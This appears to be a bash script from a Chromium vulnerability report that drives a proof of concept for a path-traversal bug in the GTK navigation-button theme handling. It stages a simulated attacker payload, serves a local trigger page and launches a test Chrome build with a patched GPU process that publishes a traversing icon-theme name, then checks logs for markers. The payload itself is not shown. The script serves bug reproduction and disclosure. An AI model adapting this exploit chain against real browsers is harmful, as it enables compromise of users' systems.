#!/bin/bash
# Run the NavButtonProviderGtk Net/IconThemeName path-traversal POC.
set -x

ARTIFACTS_DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME=/chromium/chromium/src/out/asan/chrome
PROFILE=/tmp/chrome-poc-profile
LOG=/tmp/chrome-poc.log

# 1. Stage attacker payload (simulates drive-by download to ~/Downloads).
bash "$ARTIFACTS_DIR/setup-payload.sh"

# 2. Start HTTP server for the trigger page.
pkill -f "poc-artifacts/server.py" 2>/dev/null || true
python3 "$ARTIFACTS_DIR/server.py" > /tmp/poc-server.log 2>&1 &
SERVER_PID=$!
sleep 1

# 3. Launch Chrome.  The patched GPU process will claim _XSETTINGS_S0 over its
#    pre-sandbox X11 socket and publish a path-traversal Net/IconThemeName.
#    XDG_CURRENT_DESKTOP=GNOME matches the report precondition (system theme
#    is the default on GNOME/XFCE/etc; this env has no DE so we name one).
rm -rf "$PROFILE"
XDG_CURRENT_DESKTOP=GNOME \
timeout 45 "$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check \
  --user-data-dir="$PROFILE" \
  --ozone-platform=x11 \
  --disable-popup-blocking \
  --enable-logging=stderr --v=0 \
  http://127.0.0.1:8080/poc.html > "$LOG" 2>&1 || true

kill "$SERVER_PID" 2>/dev/null || true

set +x
echo
echo "===== POC markers from $LOG ====="
grep -E "POC-GPU|POC-BROWSER|evil-icons" "$LOG" || echo "(none found)"